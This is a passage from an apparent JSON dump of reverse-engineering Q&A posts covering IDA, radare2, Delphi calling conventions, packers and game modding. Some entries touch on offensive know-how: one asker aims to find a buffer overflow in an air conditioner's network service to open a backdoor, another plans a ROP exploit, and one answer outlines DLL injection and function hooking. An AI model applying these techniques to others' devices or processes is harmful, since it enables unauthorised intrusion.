 == 4   # \"number of register\", don't see how this applies\nassert i.Op2.specflag1  == 1   # unknown interpretation, could be \"ecx\"!?!\nassert i.Op2.specflag2  == 78  # 0x4E, unknown interpretation\nassert i.Op2.specflag3  == 0   # probably empty\nassert i.Op2.specflag4  == 0   # probably empty\nassert i.Op2.specval    == 0x200000  # unknown interpretation\nassert i.Op2.value      == 0   # \"outer displacement\" (none here)\n</code></pre>\n",
        "Title": "How can I extract the structure of an operand with displacement in IDAPython?",
        "Tags": "|ida|x86|idapython|",
        "Answer": "<p>There doesn't seem to be an elegant solution to this. Looks like if you would be writing a plugin in C you would be able to call <code>sib_base</code>, <code>sib_index</code>, <code>sib_scale</code> to get the info.</p>\n\n<p>Here's how you could do it in Python.</p>\n\n\n\n<pre><code>from idautils import DecodeInstruction\nfrom idaapi import get_reg_name\n\nea = 0x20AC5 # Assuming this ea is a lea\ni = DecodeInstruction(ea)\n\nhasSIB = i.Op2.specflag1\nsib = i.Op2.specflag2\n\nif hasSIB:\n    base = sib  &amp; 7\n    index = (sib &gt;&gt; 3) &amp; 7\n    scale = (sib &gt;&gt; 6) &amp; 3\n    size = 4 if i.Op2.dtyp == idaapi.dt_dword else 8\n    print '[{} + {}{} + {:x}]'.format(\n        get_reg_name(base, size),\n        get_reg_name(index, size),\n        '*{}'.format(2**scale) if scale else '',\n        i.Op2.addr\n    )\n</code></pre>\n\n<p>Example Output:\n<code>[ebx + eax*4 + 8c]</code></p>\n"
    },
    {
        "Id": "14223",
        "CreationDate": "2016-12-22T12:31:33.810",
        "Body": "<p>I know we can edit opcodes in radare2's visual mode using <code>i</code>.<br>\nBut is there any way to edit instructions directly in visual mode?</p>\n<p>In my case, the instruction is:</p>\n<pre><code>jae 0x8048450\n</code></pre>\n<p>And I want change it to:</p>\n<pre><code>jnbe 0x8048450\n</code></pre>\n",
        "Title": "edit instructions directly in visual mode",
        "Tags": "|radare2|patching|reassembly|",
        "Answer": "<p>In visual mode, you can use the <code>A</code> command, to launch the interactive assembler, type your opcodes, and see in real time the corresponding hex code.</p>\n\n<p>You could have found this command by typing <code>?</code>, to get help, in visual mode.</p>\n"
    },
    {
        "Id": "14232",
        "CreationDate": "2016-12-23T14:02:22.587",
        "Body": "<p>As part of exercise in RE I noticed that some string is not appear correctly in the code.  </p>\n\n<p>I have the following code:<br>\n<a href=\"https://i.stack.imgur.com/2210l.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2210l.png\" alt=\"enter image description here\"></a></p>\n\n<p>In the orange colour the string doesn't appear correctly.<br>\nIn the red it appear correctly.  </p>\n\n<p>I want that the code in the orange will be like the one in the red.  </p>\n\n<p>We can see that in address <code>0x10751</code> we have:  </p>\n\n<pre><code>push offset word_107DE ; SourceString\n</code></pre>\n\n<p>At the address of <code>word_107DE (0x107DE)</code> the string appears as:</p>\n\n<pre><code>word_107DE dw '\\'\naDosedevicesPr_0:\n    unicode 0, &lt;DosDevices\\ProceHelper&gt;, 0\n</code></pre>\n\n<p>In <code>0x107DE</code> we have an extra row:  </p>\n\n<pre><code>word_107DE dw '\\'  \n</code></pre>\n\n<p>How can I fix it and merge this row to be like this:  </p>\n\n<pre><code>aDosedevicesPr_0:\n    unicode 0, &lt;\\DosDevices\\ProceHelper&gt;, 0\n</code></pre>\n\n<p>And after this I hope to see the name of the string in the code.  </p>\n",
        "Title": "How to fix string structures in IDA",
        "Tags": "|ida|",
        "Answer": "<p>Move the cursor to <code>word_107DE</code>, press <kbd>ALT</kbd><kbd>A</kbd> (or Options/Ascii String style from the menu), and click the Unicode button.</p>\n"
    },
    {
        "Id": "14234",
        "CreationDate": "2016-12-23T15:16:17.090",
        "Body": "<p>I'm reversing a closed platform to try gain execution using an exploit, a stack overflow. I've been told that (since there are no debuggers) the best way is to use RAM dumps (that I have) to try understand how long the buffer is, where the  Link Register after the buffer is, how the calling convention works... so I can create a exploit successfully.</p>\n\n<p>More info about the platform.</p>\n\n<ul>\n<li>ARM Architecture (ARM9 and ARM11 processors)</li>\n<li>NX bit but no ASLR (That's why I need to know also which memory pages are executable to get ROP gadgets)</li>\n<li>I have no debuggers. Only RAM Dumps</li>\n</ul>\n\n<p>I would like to know how can I identify the stack in memory (although there may be more than one) and how to identify also memory pages, and know which ones are executable.</p>\n",
        "Title": "How to find the stack and other info in a memory dump? ARM",
        "Tags": "|arm|exploit|buffer-overflow|stack|calling-conventions|",
        "Answer": "<p>The only idea I have is to compare the dumps. The places that are same in all dumps are code or read only data. The places that are changing from dump to dump are either stack or section like <code>.bss</code>. After finding places that are not changing I'd try to disassemble these places in order to divide between code and data.</p>\n\n<p>I think that the places with the code should have higher entropy then places with the data but I can not prove it formally.</p>\n\n<p>In addition you probably should take in consideration the following:</p>\n\n<ul>\n<li>There is a possibility that executed code comes from flash and is executed from from the flash directly. The code in RAM may be not complete.</li>\n<li>There is a possibility that the code is unpacking itself during startup. I've seen such a things with <code>itcm</code> and <code>dtcm</code> memory areas.</li>\n<li>There are memory mapped registers, intended to work with different devices, so you'll probably see a lot of accesses to these memory areas. The best way to find the information about these addresses is to find a datasheet and read it carefully, it probably contains the memory map of the system.</li>\n</ul>\n\n<p>Generally speaking I'm not pretty sure that working with RAM is the best solution, and if I'd be tasked with such a thing I'd try to solder out the flash memory with initial image, read it and reverse engineer it statically.</p>\n"
    },
    {
        "Id": "14246",
        "CreationDate": "2016-12-25T21:46:09.090",
        "Body": "<p>I want to create my own, static obfuscator for any executables. What is the best way to do it with python? How should I start or what sources should I learn to do it? Anyon can give me some tips or links connected with this topic?</p>\n",
        "Title": "Write own obfuscator in Python",
        "Tags": "|python|",
        "Answer": "<p>You should start with reading documents.\nYour problem definition is too broad to be covered by reading sources of already existing solutions. </p>\n\n<ol>\n<li>You need to learn the executable formats you are intending to work with, \"any executable\" is too broad (ELF, PE, jar, whatever else ?)</li>\n<li>You need to learn the platform architecture (is it ARM, MIPS, x64 ?)</li>\n<li>After that you need to define the list of obfuscating transformations you want to apply to the executable of type of your choice .</li>\n<li>All the rest depends very much on the list of the transformations and information you'll have to apply these transformations.</li>\n</ol>\n\n<p>Here is the reading list (unfortunately, it is far from being covering the whole problem) </p>\n\n<ol>\n<li><a href=\"https://researchspace.auckland.ac.nz/bitstream/handle/2292/3491/TR148.pdf\" rel=\"nofollow noreferrer\">Taxonomy of obfuscating transformations - classic work by Collberg and others </a></li>\n<li><a href=\"https://dspace.mit.edu/handle/1721.1/64489#files-area\" rel=\"nofollow noreferrer\">Studies in program obfuscation - if you want to have some theoretical background on math around the obfuscation</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Portable_Executable\" rel=\"nofollow noreferrer\">PE format - go by links from wiki, there are a lot</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Executable_and_Linkable_Format\" rel=\"nofollow noreferrer\">ELF format - the same if you want to obfuscate elf executables</a></li>\n<li><a href=\"https://software.intel.com/en-us/articles/intel-sdm\" rel=\"nofollow noreferrer\">Intel SDM - the best and definitive definition of Intel processors assembly language, replace it with similar document about your platform if you choose to obfuscate non-intel binaries</a></li>\n<li><a href=\"https://tuts4you.com/download.php?list.86\" rel=\"nofollow noreferrer\">tuts2you downloads section related to obfuscation - some articles inside</a></li>\n<li>In addition I'd recommend you to follow @Rolf Rolles, he wrote some excellent articles on deobfuscation, such as <a href=\"http://www.openrce.org/articles/full_view/28\" rel=\"nofollow noreferrer\">this</a> or <a href=\"https://www.usenix.org/legacy/events/woot09/tech/full_papers/rolles.pdf\" rel=\"nofollow noreferrer\">this</a>.</li>\n</ol>\n\n<p>After reading this you'll be able to search for more fine-grained information.</p>\n\n<p>The most approachable methodology to deal with the issue is using <a href=\"http://llvm.org\" rel=\"nofollow noreferrer\">LLVM</a>.\nLLVM has python bindings that probably can be used for this.\nThere are some works related to obfuscation with this methodology, but none of them has complete solution in python, for example</p>\n\n<ol>\n<li><a href=\"http://0vercl0k.tuxfamily.org/bl0g/?p=260\" rel=\"nofollow noreferrer\">Example of simple obfuscator with LLVM</a></li>\n<li><a href=\"https://github.com/obfuscator-llvm/obfuscator/\" rel=\"nofollow noreferrer\">You'll probably find something interesting here, more invested LLVM based obfuscator</a></li>\n<li><a href=\"http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html\" rel=\"nofollow noreferrer\">By the way, here is work on deobfuscating results of one of version of obfuscator mentioned before</a></li>\n<li><a href=\"https://github.com/trailofbits/mcsema\" rel=\"nofollow noreferrer\">McSema - a framework for transforming executable to LLVM IR.</a> - you'll need it to read the executable and transform it into the form related to LLVM.</li>\n</ol>\n\n<p>Your question is actually huge, and I'm far from covering the topic.\nHowever this topic is very interesting, and I wish you good luck with that :)</p>\n\n<p>UPDATE: </p>\n\n<p>As it appears from comments the topic starter wants to write as a starter something similar to UPX, which looks much simpler.</p>\n\n<p>Here is a list of links that may be helpful for that:</p>\n\n<ol>\n<li><a href=\"https://github.com/upx/upx\" rel=\"nofollow noreferrer\">UPX source code</a> - it is not python, but good for reference</li>\n<li><a href=\"https://github.com/erocarrera/pefile\" rel=\"nofollow noreferrer\">pefile</a> is a multi-platform Python module to parse and work with Portable Executable (aka PE) files.</li>\n</ol>\n\n<p>I'd suggest to learn PE format first, and read the code of UPX.</p>\n"
    },
    {
        "Id": "14257",
        "CreationDate": "2016-12-27T14:46:32.203",
        "Body": "<p>I have a game on my PC that reads and writes registry keys and values to the HKLM hive. I am trying to see if it is possible to modify the game so that it uses the HKCU hive instead. </p>\n\n<p>The source code for this game isn't available so I am trying to disassemble the game binary and see if the assembly can be modified to accomplish this.</p>\n\n<p>I am seeing sections like this in PE Explorer but I can't figure out what parts of it are used to target the HKLM hive:</p>\n\n<pre><code> L004036E0:\n        lea eax,[esp+1Ch]\n        lea ecx,[esp+08h]\n        push    eax\n        push    00020019h\n        push    ebx\n        call    SUB_L00401F70\n        push    eax\n        push    80000002h\n        call    [ADVAPI32.dll!RegOpenKeyExA]\n        cmp eax,ebx\n        jnz L004037E9\n        lea ecx,[esp+14h]\n        lea edx,[esp+000000A0h]\n        push    ecx\n        mov ecx,[esp+20h]\n        lea eax,[esp+1Ch]\n        push    edx\n        push    eax\n        push    ebx\n        push    SSZ00413090_InstallPath\n        push    ecx\n        mov dword ptr [esp+2Ch],00000104h\n        call    [ADVAPI32.dll!RegQueryValueExA]\n        cmp eax,ebx\n        jnz L004037E9\n        cmp dword ptr [esp+18h],00000001h\n        jnz L004037E9\n        lea edx,[esp+000000A0h]\n        push    0000005Ch\n        push    edx\n        lea esi,[esp+000000A8h]\n        call    SUB_L00406310\n        add esp,00000008h\n        cmp eax,ebx\n        jz  L00403775\n L00403763:\n</code></pre>\n",
        "Title": "Modify program's registry accesses from HKLM to HKCU in assembly",
        "Tags": "|disassembly|windows|x86|",
        "Answer": "<p>You are looking to identify all calls to RegCreateKey/Ex and RegOpenKey/Ex calls, then check their first parameter, then change it to HKCU integer definition (0x80000001) instead of HKLM (0x80000002).</p>\n\n<p>In the above, you quite clearly see it push the first parameter to RegOpenKeyExA, 0x80000002. So, you just change those to 0x80000001.</p>\n"
    },
    {
        "Id": "14261",
        "CreationDate": "2016-12-27T22:05:44.737",
        "Body": "<p>A couple of days ago I bought an air conditioner.\nThe system has a wireless module. By analyzing the ports, I could see that port 22 is open.</p>\n\n<p>I have obtained the file that is responsible for managing the connection with the outside and internally (the interface).</p>\n\n<p>The file is of type <em>BFLT executable - version 4 ram</em>. Here is more detailed information. <em>(extracted from radare)</em></p>\n\n<pre><code>type    bFLT (Executable file)      class      bflt\nfile    backupServer                arch       arm\nfd          6                       bits        32\nsize     0x3d804                    machine   unknown\niorw t     true                     os         Linux\nblksz      0x0                      minopsz     4\nmode       -r--                     maxopsz     4\nblock     0x100                     pcalign     4\nformat    bflt                      subsys     Linux\nhavecode  true                      endian    little\npic       false                     stripped   false\ncanary    false                     static     true\nnx        false                     linenum    false\ncrypto    false                     lsyms      false\nva        false                     relocs     false\nbintype   bflt                      binsz     251908\n</code></pre>\n\n<p>This file I have been able to virtualize with <em>qemu-arm</em>.</p>\n\n<p>In the BFLT files there is a section containing all the string and using IDA Pro with the bfltldr plugin to relocate the strings. For debugging I have used the architecture <em>arm litte endian generic</em></p>\n\n<p>Analyzing the application with IDA Pro, I was able to observe that it expects from the outside some commands with a format and some parameters.</p>\n\n<p><strong>The parameters I have but the arguments do not as it is complicated to debug without having any kind of information about the name of each function.</strong></p>\n\n<p>The operating system used by the application I think is <em>GNU/Linux</em> or a variant.</p>\n\n<p>My goal is to analyze the arguments and parameters that are passed via socket to try to find some vulnerability (buffer overflow, ...) and inject a shell to open a backdoor. </p>\n\n<p><strong>The problem I have is that I find it costly to debug the application since in IDA Pro are the memory addresses in the functions and I would like to know if there is any change memory addresses, by the names of known functions of the GNU/Linux.</strong></p>\n",
        "Title": "Reverse a BFLT file",
        "Tags": "|ida|disassembly|arm|qemu|shellcode|",
        "Answer": "<p>bFLT format is used in uCLinux systems and its executables use one of two approaches to make system calls:</p>\n\n<ol>\n<li><p>Statically linked libc (uClibc). In this case you should see explicit syscalls (SVC instructions) in the code. Depending on the age of the system the will be using either Old ABI (with syscall number encoded as the operand of the SVC instruction) or the new ABI(EABI) with syscall number in R7. You can look up syscall numbers e.g. <a href=\"https://w3challs.com/syscalls/?arch=arm_strong\" rel=\"nofollow noreferrer\">here</a>.</p></li>\n<li><p>Libc in a shared library. I have never seen it myself but it seems uCLinux does support shared libraries loaded at fixed addresses. So you may see calls to apparently unmapped addresses where the libc is supposed to be loaded. In this case you may need to disassemble the libc binary as well to label the functions using syscalls and then match against the calls in the binary. </p></li>\n</ol>\n\n<p>In either case I would suggest you installing or building an uCLinux toolchain and compiling a few helloworld binaries with it. The nice thing about it is that the bFLT is produced from an ELF as the final step so you can compare the ELF with all symbols against the bFLT which should give you some clues how to handle your target. </p>\n"
    },
    {
        "Id": "14264",
        "CreationDate": "2016-12-28T06:24:34.957",
        "Body": "<p>While debugging inside a loaded <code>exe</code> process (using <code>IDA Pro</code> as a disassembler, and <code>WinDbg</code> as a debugger) I can right click the code view and select <code>Graph view</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/IC3DL.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/IC3DL.png\" alt=\"enter image description here\"></a></p>\n\n<p>That will switch it to this nice code-flow view that is much easier to read:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ESTGC.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/ESTGC.png\" alt=\"enter image description here\"></a></p>\n\n<p>But if I step into a system DLL (in this case <code>mshtml.dll</code>) I can't seem to get that same <code>Graph view</code> command, and instead I get this generic view:</p>\n\n<p><a href=\"https://i.stack.imgur.com/HIJDJ.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/HIJDJ.png\" alt=\"enter image description here\"></a></p>\n\n<p>So I was wondering, if there's a way to enable <code>Graph view</code> for a system DLL as well?</p>\n",
        "Title": "How to switch to \"Graph View\" in IDA Pro while debugging with WinDbg inside a system DLL?",
        "Tags": "|ida|disassembly|windows|debuggers|",
        "Answer": "<p>IDA can only display functions in graph mode, so in order to see that code as a graph, you must:</p>\n\n<h3>Find the start of the function</h3>\n\n<p>Search for a prologue, such as <code>push ebp</code>, <code>mov ebp, esp</code><sup>1</sup>, and find the start of the function. If it gets hard, you can always load debug symbols<sup>2</sup> and find the start like that.</p>\n\n<p>1: Actually, most Microsoft DLLs are compiled with the hotpatch option, which means that the prologue is prefixed with <code>mov edi, edi</code> (<a href=\"https://blogs.msdn.microsoft.com/oldnewthing/20110921-00/?p=9583\" rel=\"noreferrer\">here's why</a>), so searching for that instruction should be very easy.</p>\n\n<p>2: In the WinDbg command line, write <code>.symfix</code> to fix the symbols path and <code>.reload /f mshtml.dll</code> to reload the symbols for that module. Alternatively, go to <code>Debugger</code> -> <code>Debugger windows</code> -> <code>Modules list</code>, find <code>mshtml.dll</code> in the window, right-click it and choose \"Load debug symbols\". Then, simply use the <code>Functions</code> window or the status bar to find the start of the function.</p>\n\n<h3>Make it a function</h3>\n\n<p>Put the cursor at the start, and press <kbd>P</kbd>. Now press <kbd>Space</kbd> and you'll be in graph mode!</p>\n"
    },
    {
        "Id": "14266",
        "CreationDate": "2016-12-28T19:04:04.923",
        "Body": "<p>When disassembling an old Delphi 3 executable, I find some routines that pass arguments in registers EAX, EDX, and on the stack \u2013 but not in ECX!</p>\n\n<p>For those routines, ECX never gets set to a 'reasonable' value. This can be seen inside the code of small functions which <em>do</em> use EAX, EDX, and the stack, and also when such a routine is called inside a 'tight' inner block, which ought to be self-containing as far as function arguments go. (This version of Delphi clearly predates call stack optimization.)</p>\n\n<p>This is quite surprising because according to <a href=\"http://docwiki.embarcadero.com/RADStudio/Berlin/en/Program_Control\" rel=\"nofollow noreferrer\">Delphi's current owners</a> (and, thus far, in my own experience), Delphi has always used <code>register</code>:</p>\n\n<blockquote>\n  <p><strong>Register Convention</strong><br>\n  Under the register convention, up to three parameters are passed in CPU registers, and the rest (if any) are passed on the stack. The parameters are passed in order of declaration (as with the pascal convention), and the first three parameters that qualify are passed in the EAX, EDX, and ECX registers, in that order.</p>\n</blockquote>\n\n<p>Initially, I found this in some routines that reside in <code>vcl30.dpl</code>, the standard library, and so I assumed it was a peculiarity of that particular build (perhaps the library was created with an even older version of Delphi which did not use ECX). But now I also find <em>user</em> routines that are missing ECX! (In both the called function and in calling it, and the function <em>has</em> a number of stack arguments.) Inside a called function an argument may be unused, but the compiler would not know that, and it'd still provide that argument.</p>\n\n<p>This messes up my disassembly; not only I have to provide a dummy argument in the original function's prototype, but also the back-tracking fails because my code cannot find an assignment to ECX, and so it presumes the called function only uses the first 2 arguments.</p>\n\n<p>It seems to violate the strict <code>register</code> calling convention. Is there a calling convention that uses the other 2 registers but <em>not</em> ECX?</p>\n\n<hr>\n\n<p>Example \u2013 a fragment where ECX gets used and thrashed, prior to calling a library function:</p>\n\n<pre><code>8D4DFC          lea    ecx, [ebp+local_4]\n33D2            xor    edx, edx\n8BC6            mov    eax, esi\n8B18            mov    ebx, [eax]\nFF5350          call   [ebx+50h]  &lt;- GetSaveFileName; this uses ECX as a proper argument\nA144831041      mov    eax, [lpEnginePtr]\nFF702C          push   [eax+2Ch]   &lt;- probably a local path\n6870277355      push   (address)\"/Saved Games/\"\nFF75FC          push   [ebp+local_4]\n8D45F8          lea    eax, [ebp+local_8]\nBA03000000      mov    edx, 3\nE869EAFCFF      call   System.@LStrCatN   &lt;- wot no ECX?\n8B55F8          mov    edx, [ebp+local_8]\nA144831041      mov    eax, [lpEnginePtr]\nE860630600      call   Engine.SaveFile\n...\n</code></pre>\n\n<p>which I decompile into</p>\n\n<pre><code>call GetSaveFileName (esi, 0, addressof (local_4))\neax = lpEnginePtr\npush (eax.field_2C)\npush (\"/Saved Games/\")\npush (local_4)\ncall System.@LStrCatN (addressof (local_8), 3)\ncall Engine.SaveFile (lpEnginePtr, local_8)\n</code></pre>\n\n<p>The routine <code>GetSaveFileName</code> uses, and clobbers, ECX, without saving it:</p>\n\n<pre><code>                GetSaveFileName:\n53              | push   ebx\n8BD9            mov    ebx, ecx     \nA140A08F55      mov    eax, lpGameSettings\n8B90E4000000    mov    edx, [eax+0E4h]\n8BC3            mov    eax, ebx     \nB944267355      mov    ecx, (address)\".sav\"\nE856EBFCFF      call   System.@LStrCat3 \n\n                5573263Ah:\n5B              | pop    ebx\nC3              | retn\n</code></pre>\n\n<p>The library function <code>System.@LStrCatN</code> indeed does not read ECX at all:</p>\n\n<pre><code>System.@LStrCatN:\n    push   ebx\n    push   esi\n    push   edx\n    push   eax         &lt;-- not in the Save List\n    mov    ebx, edx\n    xor    eax, eax\n    mov    ecx, [esp+4*edx+10h]  &lt;-- overwrite ECX!\n    test   ecx, ecx\n    jz     41304AA7h\n\n41304AA4h:\n    add    eax, [ecx-4]\n\n41304AA7h:\n    dec    edx\n    jnz    41304A9Ch\n\n41304AAAh:\n    call   System.@NewAnsiString\n    ...\n</code></pre>\n\n<p>Other routines that overwrite ECX (write without read) <em>do</em> save ECX in the prolog.</p>\n\n<hr>\n\n<p>This has been mentioned earlier in <a href=\"https://reverseengineering.stackexchange.com/q/2964/2959\">Which calling convention to use for EAX/EDX in IDA</a>, but according to the comments that one was a misunderstanding and ECX was used after all.</p>\n",
        "Title": "Register Calling Convention: written in stone, or in mud?",
        "Tags": "|calling-conventions|delphi|register|",
        "Answer": "<p>If the compiler can prove that it has all call sites for a given function under its control then it can discard conventions and arrange things around to its liking. Microsoft's C/C++ compiler has been doing this for decades in connection with link-time code generation and profile-guided optimisation, especially internal copies of the compiler like the one used to compile the Visual FoxPro executables. This causes no end of additional fun when analysing such executables with IDA, since all pre-programmed conventions basically go out of the window.</p>\n\n<p>That applies only in 32-bit mode, though. In 64-bit mode Windows mandates adherence to its ABI for all non-leaf functions (including the registering of the call frame layout in meta data) to ensure full stack frame traceability. This means that the compiler doesn't have a lot of leeway here...</p>\n\n<p>Given the way Delphi works it is conceivable that the compiler might make similar adjustments with regard to parameter passing for functions that are local to the implementation section of a unit or nested functions, provided that the address of the function is never taken and passed outside.</p>\n\n<p>The comment conversation with Rad Lexus elicited another important aspect: system functions do not necessarily play by the same rules as 'ordinary' functions, especially those functions that are intended to be called implicitly by compiler-generated code instead of being invoked explicitly by user code. The compiler may have extended information on these system functions, like clobbered registers, unusual parameter locations, 'nothrow', 'noreturn' and so on. This extended information could be in System unit meta data or hardcoded directly into the compiler.</p>\n\n<p><code>@LStrCatN</code> is a special since it is a vararg function with callee cleanup (which is very unusual). It needs special treatment by the compiler in any case because the compiler must pass the actual number of pointers on the stack as a parameter to the function.</p>\n"
    },
    {
        "Id": "14268",
        "CreationDate": "2016-12-28T21:04:38.047",
        "Body": "<p>I am trying to reverse a PE executable (challenge tutorial). I am putting a breakpoint on the first instruction of the program, at the entry point. There is nothing executed before. </p>\n\n<p>I get a software breakpoint exception when I run the program. I think this is a debugger detection system. But I do not know where is the code that throws this exception, because I have not reach my program entry point. </p>\n\n<p>The exception throws from <code>ntdll.dll</code> I want to understand how can code from <code>ntdll.dll</code> can be executed BEFORE the entry point of my binary</p>\n\n<p>Thanks</p>\n",
        "Title": "IDA Strange exception before code is executed",
        "Tags": "|ida|pe|",
        "Answer": "<p>no offense intended but this question demonstrates some basic lack of understanding of how windows loads user-mode processes, how how user-mode code and executables are built.</p>\n\n<p>I'll list a few missing pieces:</p>\n\n<ol>\n<li>As Igor mentioned, TLS callbacks are often called before the entry point is executed and are used to setup tasks before any code is executed (global object constructors is one example). TLS callbacks are occasionally used by the compiler for certain tasks as well as in a set of anti-debugging techniques.</li>\n<li>When a usermode process starts, its first executed instruction is NOT the executable's entry point. There's a decent amount of loader code executed in the context of the created process (initializing the default heap, setting up parts of the TEB and PEB, etc).</li>\n<li>Normally, an executable's entry point is not your <code>int main(int argc, char* argv[])</code>. The compiler has a wrapper function that is where the PE's entrypoint points to, and main is only called by it.</li>\n</ol>\n\n<p>I would suggest you read the <a href=\"https://msdn.microsoft.com/en-us/library/ms809762.aspx\" rel=\"nofollow noreferrer\">Peering Inside the PE</a>, as it describes those processes really in-depth.</p>\n"
    },
    {
        "Id": "14286",
        "CreationDate": "2016-12-30T03:09:18.070",
        "Body": "<p>Example:</p>\n\n<p>I have a function in a process on the memory address: <code>0xABCDEF</code>, but that function cannot be called outside of original thread, it's possible to call it or hook it somehow?</p>\n\n<p>To what i'm going it's C++ on DLL injection...</p>\n\n<p>I thought it was possible using <code>CreateRemoteThread</code>, but i don't know if it is necessary to pass the id of the thread.</p>\n",
        "Title": "It's possible call a function outside a original thread?",
        "Tags": "|c++|function-hooking|dll-injection|",
        "Answer": "<p>CreateRemoteThread() is used to create a new thread inside the remote process.  The function will return the ID of the newly created thread.  This can be used to load your DLL into the remote process, by passing the address of LoadLibrary() as the thread start address (note that you would need to VirtualAllocEx() and WriteProcessMemory() to place the filename in the remote process first).</p>\n\n<p>Once your DLL is loaded, you would need to hook the function of interest (via VirtualProtect(MEM_WRITABLE)/memcpy()/VirtualProtect(original protection)), since you can't inject directly into a thread.  You can only modify the code that the thread is running, and then receive control indirectly.</p>\n\n<p>Note that for safety, you would need to SuspendThread() the thread of interest before you make changes to its code, unless the function that you wish to alter is hot-patchable.  In the case of a hot-patchable function, you would write the long jump at address function-5, and then write the short jump at the function start.  The write of the short jump is an atomic operation so there is no risk of misaligned execution.</p>\n"
    },
    {
        "Id": "14288",
        "CreationDate": "2016-12-30T12:03:40.697",
        "Body": "<p><em>I don't know whether this is the right place for this question or this question is too basic.</em></p>\n\n<p>I was reading Antivirus Hacker's Handbook, where they talked a bit about software packers, protectors, and <a href=\"https://en.wikipedia.org/wiki/Executable_compression\" rel=\"nofollow noreferrer\">executable compression</a>. I googled a lot about those topics and found some sites but I was not able to get any kind of basic understanding of what the keywords <em>Software Packer</em>, <em>Software Protector</em> and <em>Executable Compression</em> are and why they're a thing.</p>\n\n<p>Can someone please explain what executable compression and packing are and why they exist on the most basic level?</p>\n",
        "Title": "What is Executable Compression?",
        "Tags": "|decompress|packers|malware|",
        "Answer": "<p>Executable compression (AKA executable packing) is the idea that an PE, ELF and MACHO file formats were not fully designed to be compact for obvious reasons.\nIn the past, when memory was scarce, making executable files smaller in size was often a goal either mandatory of preferable. </p>\n\n<p>For that reason, tools were created to keep an executable functional while making it smaller in size. For that, different compression algorithms were employed on code and  data parts of executables, and a small decompression code stub was added to reverse the process during the executable's runtime.</p>\n\n<p>The basic idea is that you take a given executable and compress it's entire code and data sections (which are often most of the file). You would then include the compressed output as part of a new executable and include in that new executable a subroutine that does the opposite - decompresses the compressed data back into it's original (bigger) form, and then execute the original uncompressed entry point as if the code was never compressed.</p>\n\n<p>As the need for compact executables faded when storage memory became cheaper an interesting property of compressed executables was discovered: a compressed executable's code is harder to read without prior decompression.\nDevelopers and coders started using compression to hide code they wanted to hide from third parties. Packing became a way to avoid or complicate reverse engineering processes and packers shifted focus from compression to obfuscation, encryption and anti-reverse-enginerring tools.</p>\n"
    },
    {
        "Id": "14293",
        "CreationDate": "2016-12-30T19:04:13.033",
        "Body": "<p>For the source generated by Hex Ray's decompiler in IDA, is it possible to highlight matching braces once I place the pointer at the beginning of a block?</p>\n\n<p>As an example, in the screenshot below, the <code>if</code> block begins at line# <code>263</code> and ends at line# <code>269</code>. What I want is, if I place the cursor at line# <code>263</code>, IDA should highlight the block end at line# <code>269</code>. Is such a feature available? Many code editors provides similar feature to make code browsing easier for larger blocks of code.</p>\n\n<p><a href=\"https://i.stack.imgur.com/SpddM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SpddM.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to find matching braces in IDA's decompiled code?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>There is no way to do this by default. Checkout the <a href=\"https://www.hex-rays.com/contests/2016/hexlight/hexrays_hlight.py\" rel=\"nofollow noreferrer\">Hexlight</a> plugin by Milan Bohacek. It will highlight the line with the matching brace.  </p>\n\n<p>Example from Hex-Rays site:\n<a href=\"https://i.stack.imgur.com/B2aX8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/B2aX8.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "14301",
        "CreationDate": "2017-01-01T03:35:53.913",
        "Body": "<p>I've been trying to make some modding tools for quake live by reverse engineering, and I have this function. I rebased my program to 0x0, and did pretty much everything to set me up. However, when I call virtualprotect it doesn't work. I still get access violations when I inject the DLL. All helps appreciated!</p>\n\n<p><a href=\"https://i.stack.imgur.com/4NNCt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4NNCt.png\" alt=\"comprintf\"></a></p>\n\n<p>Above, I have the address for the value. Heres how I'm calling virtualprotect:</p>\n\n<pre><code>typedef void(__cdecl* Com_printf)(const char* msg, ...);\n\nnamespace QLIVESDK \n{\n    void Com_Printf(const char* a1, ...)\n    {\n        DWORD old;\n        VirtualProtect((PVOID)(GetModuleHandle(\"quakelive_steam.exe\") + 0x000C9860), sizeof(a1), PAGE_EXECUTE_READWRITE, &amp;old);\n        Com_printf com_print = (Com_printf)0x000C9860;\n        return com_print(a1);\n    }\n}\n</code></pre>\n\n<p><a href=\"https://github.com/id-Software/Quake-III-Arena/blob/dbe4ddb10315479fc00086f08e25d968b4b43c49/code/qcommon/common.c#L143\" rel=\"nofollow noreferrer\">https://github.com/id-Software/Quake-III-Arena/blob/dbe4ddb10315479fc00086f08e25d968b4b43c49/code/qcommon/common.c#L143</a>\nHeres the function I'm trying to reverse. And heres how I'm calling it:</p>\n\n<pre><code>void Init()\n{\n    QLIVESDK::Com_Printf(\"hello, world!\\n\"); //test this shit\n}\n\nBOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)\n{\n    switch (fdwReason)\n    {\n    case DLL_PROCESS_ATTACH:\n        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Init, 0, 0, 0);\n        break;\n    }\n    return 1;\n}\n</code></pre>\n\n<p>As you can see, its not working. I still get access violations. Thanks! All helps appreciated! :)</p>\n",
        "Title": "VirtualProtect a function isn't working.",
        "Tags": "|c++|",
        "Answer": "<p>Thanks to @Fewmitz I managed to fix the problem.</p>\n\n<p>Turns out com_print should = (Com_Printf)GetModuleHandle(\"quakelive_steam.exe\") + 0x000C9860;</p>\n\n<p>Thanks so much!</p>\n"
    },
    {
        "Id": "14306",
        "CreationDate": "2017-01-02T13:13:32.603",
